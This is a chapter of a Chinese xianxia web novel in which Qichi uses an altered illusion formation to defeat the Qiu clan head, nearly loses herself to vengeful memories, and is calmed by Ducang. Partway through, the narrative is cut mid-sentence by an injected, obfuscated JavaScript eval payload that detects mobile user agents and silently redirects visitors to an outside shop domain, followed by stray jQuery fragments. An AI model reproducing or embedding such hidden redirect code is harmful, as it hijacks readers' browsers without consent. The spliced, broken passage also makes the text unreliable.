世界陷入黑暗之中,所有光源都集中于栖迟一人身上,宛若救世神明,庄严神圣。
秋存感受不到任何灵力,身体经脉也变得和普通人一样脆弱。瞥见那些受了重伤又再次站起来的几人,继续向他而来,他忽然感到恐惧,“不可能!若是此阵真这么厉害,为何从来没人用?”
他不是不知道妄虚阵,但此阵会使阵中之人修为大跌,包括布阵之人,因此便没人愿意去复原尝试。原先那几人能在阵中维持正常修为,已是令他意外,却没想到妄虚阵还会有此作用。
“布阵已是不易,与阵融为一体,更是难上加难,不过万分之一可能。”栖迟一步步向前走,空中仿佛出现看不见的阶梯。她踩着阶梯,逐渐向上,“所谓平等,只是布阵者认为的平等罢了。”
“不可能,不可能!”见此,秋存彻底慌了神,就算星流血能扩大数倍功效,但万分之一的可能实在微乎其微,“这一定是幻境,我的修为,我的修为不可能没了!”
“是真的没了,就算出了此阵,也回不来。”栖迟居高临下看着秋存。
“你那是什么眼神!我告诉你,今日一定要将你的血……”
话音未落,一阵风将秋存席卷上天,又重重摔下,就像一个丑陋的布娃娃,任人宰割,也无人在意。
“且留他一命。”槐老头走过来,在地上大喊道,“有些事还需要问他。”
“他不配活着。”栖迟依旧望着秋存,眼神就像是看蝼蚁一般,“他是,秋长老也是!既然他把秋长老杀了,那所有报应就由他一人承担!”
说完,呼啸的大风瞬间变成一道道风刃,秋存身上立刻出现数道血口。他忍着痛,从怀里拿出一信号弹,向天空发射出去,“这里是秋家!还轮不到你放肆!”
“是吗?”栖迟望向远处宛若城池一般的秋家,“那就都去死吧。”
“你要做什么?”秋存慌了。
栖迟靠近秋存,手一挥,秋存悬空浮起,随后两人一同消失在其余人视线范围内。
栖迟带着秋存,来到秋家上方,“不是想叫他们救你吗?那我便带你来寻他们。”
地上的秋家人自是看到天上的家主,意欲上前搭救,却被阵阵风墙拦下。
栖迟抬起右手,手心燃起一簇火苗,“可曾见过族人在你面前一个接一个死去?”
不等秋存说话,栖迟将火苗抛下去。
熊熊大火瞬间席卷整个秋家,一眼望去,满天火光直冲天际。
“不!”秋存大喊,“他们很多人都不知道,也没参与,你这样……你这样会遭报应的!”
“报应?”栖迟冷笑一声,“你们都不怕,我为何要怕?这都是你们欠我的。”
“栖迟!”卿律跟了过来,“你要做什么?快住手!”
宋期声也是匆匆赶来,“你清醒一点,不要受影响了!”
宋期声上前,想要输送灵力给栖迟,抚平她现下情绪,却被风墙挡下。
“她怎么会突然如此!”卿律满脸着急。
“她虚弱的时候偶尔会被一种莫名的情绪影响,严重时会失去自我。”
“可有何解决之法?”
宋期声摇头,“往日她会自己清醒,或者是给她运送清气,让她静下来。但现在,是我第一次见到她这么……”
他说不出疯狂二字,只因她当年,便是经历了这些事。
“她要是清醒了,定会后悔。”说完,卿律尝试使用言灵术,但并未有任何用。
秋家此时充满了痛苦哀嚎,他们用不出灵力,灭不了大火,甚至只能眼睁睁看着大火向自己袭来。
栖迟眼里仍是一片红,却不是秋家大火,而是星流一族的血。
养母,族长,每个人身上都是数不清的伤口,衣袍都被鲜血染成红色。他们跪在血泊中,肩胛骨被铁链穿透,正用一种慈爱的眼神,望着栖迟。
“你要相信,这个世界并没有这么不堪。”
不,这个世界糟透了。
“总有一天,会有人带你认识这个世界的美好。”
不会有那么一天,甚至都没人来救我们。
“不过是时间问题,你要等,等那个人来寻你。”
等到最后,不过是剩余十二人以献祭自我的方式召唤出星辰剑,让半死不活的她独自逃出。
这个世界,不如毁灭。
“缓缓。”
谁?
“缓缓。”
声音越来越近,漫天的红色中忽然照进一缕暖光。
“醒醒,缓缓。”
那束光打在栖迟身上,冰冷的血液重新流动。
逆着光,她逐渐看清光亮中还有一人。
“渡苍。”
“嗯,我在。”
栖迟脑子重回清明,周身场景再次回到秋家上空。
渡苍立于她身前,右手握着赤畏剑,衣袍被划破出数道口子。他左手捧着栖迟的脸,拇指一点点擦拭掉流下的泪水,动作轻柔。
栖迟这才察觉到自己一直在流泪,“我……”
“剩下的,交给我吧。”渡苍转身望向一旁的秋存,赤畏剑逼上他脖颈处。
“他不能死!”底下的卿律大喊道。
渡苍瞥了卿律一眼,收回赤畏剑。随后一股灵力包围秋存,纷纷钻入他身体里。
秋存突然大声尖叫,抱着身子开始打滚。
“我已毁掉你身体里所有经脉,此后灵力无法流动,当一个普通人吧。”渡苍冷声道。
三人缓缓从天空降下,来到卿律和宋期声处。
宋期声看着仍然痛苦不堪的秋存,眉眼尽是冷漠,“一生追求力量,最后却落得如此下场。”
秋存终于适应疼痛,他再次拿出瓷瓶,意欲将剩余药丸全都吃下。
离他最近的宋期声匆匆将瓷瓶打下,却仍让他吃下几粒。
“我不可能成为废人!”秋存面目狰狞,恶狠狠盯着眼前几人。
“不好!”
四人立刻远离秋存,渡苍握着赤畏剑,将栖迟护在身后。
灵力将秋存围绕,他仰天大笑。可紧接着,他的身体突然不受控地动了起来,像是有什么东西在体内游走一般。秋存皱着眉,努力控制身体。可动作幅度越来越大,也越来越怪异。秋存再次尖叫起来,整个人瞬间炸开。
渡苍用灵力将污秽隔绝开,望向地上一摊血水,“爆体而亡了。”
“凡人之躯本就难以承受,他为了力量,吃下那么多次那药,身体承受不住倒也正常。”栖迟道。
“死了就死了吧,早晚都得死。”卿律道,他先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274008|135029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前阻止杀秋存,不过是为打探消息罢了。
小白也陪着槐老头赶到此处,它看到渡苍,立刻缩小身形扑上去。
渡苍抱住小白,听着它不停哼哼唧唧,似乎委屈极了。
宋期声自秋存爆体而亡后,就想到了那个温柔的女子,因不愿和家族同流合污,便死在亲生父亲手里。
大道三千,不断追求力量又如何,总归有人比自己强。若是心术不正,不会有好下场。
他不知道她知晓这个结果会有什么反应,但他此时只觉得,浑身畅快,人生不再有遗憾。
倏忽间,天色渐沉,数道雷云集中上空。
“他要晋阶了。”渡苍道,一手抱着小白,一手揽着栖迟,扔下这句话后便飞身离开。
剩下几人也是一惊,迅速远离此地。
“这是他的心结。”栖迟看着天雷不断降下,“心结已解,便得以突破。”
“别说他,我感觉我都要晋阶了。”卿律道。
栖迟从怀里拿出先前问怀夕要的丹药,让卿律分给其余人。
而她自己,也在渡苍的眼神警告下,吃了几粒。
“槐爷爷,你带着他们将秋家主家那些人绑起来,尤其是那三名长老,谁都别落下。不过我们人有点少,只能辛苦大家了。”栖迟一一交代,随后拿出一个阵盘交给槐老头,“雷劫结束之后再砸碎它,秋家便无人能出去。”
“好好好。”槐老头接过阵盘,“谁说我们人少了,他们都在外边候着,不过是怕修为低下,给你拖后腿,才没进秋家。”
槐老头说完,便去联系等在秋家外的人。身旁那些人服下丹药后,稍稍恢复,便立刻去做栖迟交代之事。
一时之间,只剩下栖迟、渡苍、卿律还有正在经受天雷的宋期声。
栖迟望了一眼卿律,“你怎么不去。”
“我担心他,毕竟三年前……”卿律叹了一口气,随后瞥了一眼渡苍,“还有你……”
栖迟明白卿律的意思,渡苍虽没问,不过是在等罢了,“先等他平安晋阶吧。”
眼下是不可能继续瞒着渡苍,她也不打算继续隐瞒了。
随着最后一道雷劫落下,天空降下甘霖,预示着一位半游化仙诞生了。
秋家大火也被雨点熄灭,恢复了原先的样子。
“这火?不对,为何没有烧过的痕迹。”卿律疑惑。
“妄虚阵,名称就已经说明,所有一切都是假的。如今不过是阵法被冲洗掉,阵破了而已。”栖迟道。
“那你先前说的那些话?”
“骗他的。”栖迟道,“妄虚阵本就只能压制修为,我不过是在上面加了些别的阵法罢了。”
栖迟本就担心自己在途中会控制不住,所以在修改阵法时,她不仅加强了妄虚阵,更是加入许多幻阵。
卿律听到这已惊讶得说不出话,妄虚阵本就是上古失传阵法,而在不影响原本阵法的情况下对其修改,再加上别的东西,他更是不敢想。
渡苍倒是没那么意外,只因妄虚阵本就是他和栖迟在北辰藏书中发现,那或许是对妄虚阵最全的记录了。
只不过没想到,栖迟在那之后还研究至此。
宋期声浑身焦黑,像一个木炭。他走到三人面前,“走吧,也该好好理理这些事了。”